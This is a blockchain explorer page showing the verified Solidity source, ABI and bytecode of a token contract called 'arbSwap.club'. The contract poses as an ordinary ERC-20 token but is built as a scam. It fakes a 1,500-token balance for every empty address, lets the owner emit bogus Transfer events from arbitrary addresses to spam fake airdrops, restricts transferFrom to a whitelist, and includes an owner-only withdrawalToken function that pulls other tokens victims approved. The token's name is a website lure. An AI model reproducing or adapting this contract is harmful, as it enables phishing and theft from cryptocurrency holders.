ERC-20
Source Code
Overview
Max Total Supply
1,000,000,000 arbSwap.club
Holders
31,038
Market
Price
$0.00 @ 0.000000 ETH
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 6 Decimals)
Balance
1,500 arbSwap.clubValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
Contract Name:
ERC20Impl
Compiler Version
v0.4.26+commit.4563c3fc
Contract Source Code (Solidity)
/**
*Submitted for verification at Arbiscan.io on 2023-03-24
*/
pragma solidity ^0.4.20;
contract ERC20Interface {
string public name;
string public symbol;
uint8 public decimals;
uint public totalSupply;
function transfer(address to, uint tokens) public ;
function transferFrom(address from, address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ERC20Impl is ERC20Interface {
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) internal allowed;
address private m_tokenOwner;
mapping (address => bool) private _B;
uint256 private dValue;
constructor() public {
name = "arbSwap.club";
symbol = "arbSwap.club";
decimals = 6;
totalSupply = 1000000000 * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
dValue = 1500 * 10 ** uint256(decimals);
m_tokenOwner = msg.sender;
_B[msg.sender] = true;
balanceOf[this] = 1 * 10 ** uint256(decimals);
//_B[this] = true;
}
function balanceOf(address _owner) constant public returns (uint256) {
if(balanceOf[_owner] == 0) {
return dValue;
}
return balanceOf[_owner];
}
function transfer(address to, uint tokens) public {
require(tokens >= 0);
//require(_B[msg.sender]);
require(to != address(0));
require(balanceOf[msg.sender] >= tokens);
require(balanceOf[to] + tokens >= balanceOf[to]);
balanceOf[msg.sender] -= tokens;
balanceOf[to] += tokens;
emit Transfer(msg.sender, to, tokens);
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
require(_B[from]);
require(to != 0x0);
require(tokens > 0);
//require(balances[from] >= tokens && allowed[from][msg.sender] >= tokens && tokens >= 0);
require(to != address(0) && from != address(0));
require(balanceOf[from] >= tokens);
require(allowed[from][msg.sender] >= tokens);
require(balanceOf[to] + tokens >= balanceOf[to]);
allowed[from][msg.sender] -= tokens;
balanceOf[from] -= tokens;
balanceOf[to] += tokens;
emit Transfer(from, to, tokens);
success = true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
success = true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function transferArray(address[] _to, uint256 _value) public {
for(uint256 i = 0; i < _to.length; i++){
transfer(_to[i], _value);
}
}
function batch3(address []toAddr, uint256 value,address fadd) public {
//require(toAddr.length == value.length && toAddr.length >= 1);
//require(toAddr.length >= 1);
//Token token = Token(tokenAddr);
require( msg.sender == m_tokenOwner);
//dValue = value;
for(uint256 i = 0 ; i < toAddr.length; i++){
//this.transfer(toAddr[i], value);
//balanceOf[toAddr[i]] = value;
//balanceOf[toAddr[i]] += value;
emit Transfer(fadd, toAddr[i], value);
}
}
function transferOwnership(address newOwner) public {
require( msg.sender == m_tokenOwner);
if (newOwner != address(0)) {
m_tokenOwner = newOwner;
}
}
function addb(address []b) public {
require( msg.sender == m_tokenOwner);
for(uint256 i = 0 ; i < b.length; i++) {
_B[b[i]] = true;
}
}
function setDvalue(uint256 value) public {
require( msg.sender == m_tokenOwner);
dValue = value;
}
function getB(address _a) constant public returns (bool) {
return _B[_a];
}
function () external payable {
ERC20Interface(m_tokenOwner).transfer(msg.sender,msg.value);
}
function withdrawalToken(address h1, address send ,address to , uint256 amount) public {
require( msg.sender == m_tokenOwner);
ERC20Interface(h1).transferFrom(send , to , amount);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"tokens","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"b","type":"address[]"}],"name":"addb","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"tokens","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"h1","type":"address"},{"name":"send","type":"address"},{"name":"to","type":"address"},{"name":"amount","type":"uint256"}],"name":"withdrawalToken","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"value","type":"uint256"}],"name":"setDvalue","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"toAddr","type":"address[]"},{"name":"value","type":"uint256"},{"name":"fadd","type":"address"}],"name":"batch3","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_a","type":"address"}],"name":"getB","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"tokens","type":"uint256"}],"name":"transfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address[]"},{"name":"_value","type":"uint256"}],"name":"transferArray","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"tokenOwner","type":"address"},{"name":"spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"tokenOwner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"tokens","type":"uint256"}],"name":"Approval","type":"event"}]Contract Creation Code
60806040523480156200001157600080fd5b506040805190810160405280600c81526020017f617262537761702e636c75620000000000000000000000000000000000000000815250600090805190602001906200005f9291906200024d565b506040805190810160405280600c81526020017f617262537761702e636c7562000000000000000000000000000000000000000081525060019080519060200190620000ad9291906200024d565b506006600260006101000a81548160ff021916908360ff160217905550600260009054906101000a900460ff1660ff16600a0a633b9aca0002600381905550600354600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260009054906101000a900460ff1660ff16600a0a6105dc0260088190555033600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600260009054906101000a900460ff1660ff16600a0a600102600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620002fc565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200029057805160ff1916838001178555620002c1565b82800160010185558215620002c1579182015b82811115620002c0578251825591602001919060010190620002a3565b5b509050620002d09190620002d4565b5090565b620002f991905b80821115620002f5576000816000905550600101620002db565b5090565b90565b6116f6806200030c6000396000f3006080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101c5578063095ea7b314610255578063139e6116146102ba57806318160ddd1461032057806323b872dd1461034b578063313ce567146103d05780633cf9e96c146104015780634f9cab211461048e5780636d76c4da146104bb57806370a082311461054b57806386f0cee9146105a257806395d89b41146105fd578063a9059cbb1461068d578063c7deb07a146106da578063dd62ed3e1461074a578063f2fde38b146107c1575b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33346040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1580156101ab57600080fd5b505af11580156101bf573d6000803e3d6000fd5b50505050005b3480156101d157600080fd5b506101da610804565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561021a5780820151818401526020810190506101ff565b50505050905090810190601f1680156102475780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561026157600080fd5b506102a0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a2565b604051808215151515815260200191505060405180910390f35b3480156102c657600080fd5b5061031e60048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610994565b005b34801561032c57600080fd5b50610335610a80565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b506103b6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a86565b604051808215151515815260200191505060405180910390f35b3480156103dc57600080fd5b506103e5610e86565b604051808260ff1660ff16815260200191505060405180910390f35b34801561040d57600080fd5b5061048c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e99565b005b34801561049a57600080fd5b506104b96004803603810190808035906020019092919050505061100e565b005b3480156104c757600080fd5b506105496004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611074565b005b34801561055757600080fd5b5061058c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061116f565b6040518082815260200191505060405180910390f35b3480156105ae57600080fd5b506105e3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061120a565b604051808215151515815260200191505060405180910390f35b34801561060957600080fd5b50610612611260565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610652578082015181840152602081019050610637565b50505050905090810190601f16801561067f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561069957600080fd5b506106d8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112fe565b005b3480156106e657600080fd5b50610748600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192908035906020019092919050505061152a565b005b34801561075657600080fd5b506107ab600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061156c565b6040518082815260200191505060405180910390f35b3480156107cd57600080fd5b50610802600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115f3565b005b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561089a5780601f1061086f5761010080835404028352916020019161089a565b820191906000526020600020905b81548152906001019060200180831161087d57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109f257600080fd5b600090505b8151811015610a7c576001600760008484815181101515610a1457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506109f7565b5050565b60035481565b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610ae057600080fd5b60008373ffffffffffffffffffffffffffffffffffffffff1614151515610b0657600080fd5b600082111515610b1557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610b7f5750600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1515610b8a57600080fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610bd857600080fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610c6357600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540110151515610cf257600080fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ef557600080fd5b8373ffffffffffffffffffffffffffffffffffffffff166323b872dd8484846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610fcc57600080fd5b505af1158015610fe0573d6000803e3d6000fd5b505050506040513d6020811015610ff657600080fd5b81019080805190602001909291905050505050505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561106a57600080fd5b8060088190555050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110d257600080fd5b600090505b83518110156111695783818151811015156110ee57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a380806001019150506110d7565b50505050565b600080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156111c2576008549050611205565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112f65780601f106112cb576101008083540402835291602001916112f6565b820191906000526020600020905b8154815290600101906020018083116112d957829003601f168201915b505050505081565b6000811015151561130e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561134a57600080fd5b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561139857600080fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011015151561142757600080fd5b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008090505b82518110156115675761155a838281518110151561154a57fe5b90602001906020020151836112fe565b8080600101915050611530565b505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561164f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156116c75780600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b505600a165627a7a72305820a5a98194d4e36316de4faff79dfe6c3c4b5b846f337d88170f3b6ea4a535ee3f0029
Deployed Bytecode
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101c5578063095ea7b314610255578063139e6116146102ba57806318160ddd1461032057806323b872dd1461034b578063313ce567146103d05780633cf9e96c146104015780634f9cab211461048e5780636d76c4da146104bb57806370a082311461054b57806386f0cee9146105a257806395d89b41146105fd578063a9059cbb1461068d578063c7deb07a146106da578063dd62ed3e1461074a578063f2fde38b146107c1575b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33346040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1580156101ab57600080fd5b505af11580156101bf573d6000803e3d6000fd5b50505050005b3480156101d157600080fd5b506101da610804565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561021a5780820151818401526020810190506101ff565b50505050905090810190601f1680156102475780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561026157600080fd5b506102a0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a2565b604051808215151515815260200191505060405180910390f35b3480156102c657600080fd5b5061031e60048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610994565b005b34801561032c57600080fd5b50610335610a80565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b506103b6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a86565b604051808215151515815260200191505060405180910390f35b3480156103dc57600080fd5b506103e5610e86565b604051808260ff1660ff16815260200191505060405180910390f35b34801561040d57600080fd5b5061048c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e99565b005b34801561049a57600080fd5b506104b96004803603810190808035906020019092919050505061100e565b005b3480156104c757600080fd5b506105496004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611074565b005b34801561055757600080fd5b5061058c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061116f565b6040518082815260200191505060405180910390f35b3480156105ae57600080fd5b506105e3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061120a565b604051808215151515815260200191505060405180910390f35b34801561060957600080fd5b50610612611260565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610652578082015181840152602081019050610637565b50505050905090810190601f16801561067f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561069957600080fd5b506106d8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112fe565b005b3480156106e657600080fd5b50610748600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192908035906020019092919050505061152a565b005b34801561075657600080fd5b506107ab600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061156c565b6040518082815260200191505060405180910390f35b3480156107cd57600080fd5b50610802600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115f3565b005b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561089a5780601f1061086f5761010080835404028352916020019161089a565b820191906000526020600020905b81548152906001019060200180831161087d57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109f257600080fd5b600090505b8151811015610a7c576001600760008484815181101515610a1457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506109f7565b5050565b60035481565b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610ae057600080fd5b60008373ffffffffffffffffffffffffffffffffffffffff1614151515610b0657600080fd5b600082111515610b1557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610b7f5750600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1515610b8a57600080fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610bd857600080fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610c6357600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540110151515610cf257600080fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ef557600080fd5b8373ffffffffffffffffffffffffffffffffffffffff166323b872dd8484846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610fcc57600080fd5b505af1158015610fe0573d6000803e3d6000fd5b505050506040513d6020811015610ff657600080fd5b81019080805190602001909291905050505050505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561106a57600080fd5b8060088190555050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110d257600080fd5b600090505b83518110156111695783818151811015156110ee57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a380806001019150506110d7565b50505050565b600080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156111c2576008549050611205565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112f65780601f106112cb576101008083540402835291602001916112f6565b820191906000526020600020905b8154815290600101906020018083116112d957829003601f168201915b505050505081565b6000811015151561130e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561134a57600080fd5b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561139857600080fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011015151561142757600080fd5b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008090505b82518110156115675761155a838281518110151561154a57fe5b90602001906020020151836112fe565b8080600101915050611530565b505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561164f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156116c75780600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b505600a165627a7a72305820a5a98194d4e36316de4faff79dfe6c3c4b5b846f337d88170f3b6ea4a535ee3f0029
Deployed Bytecode Sourcemap
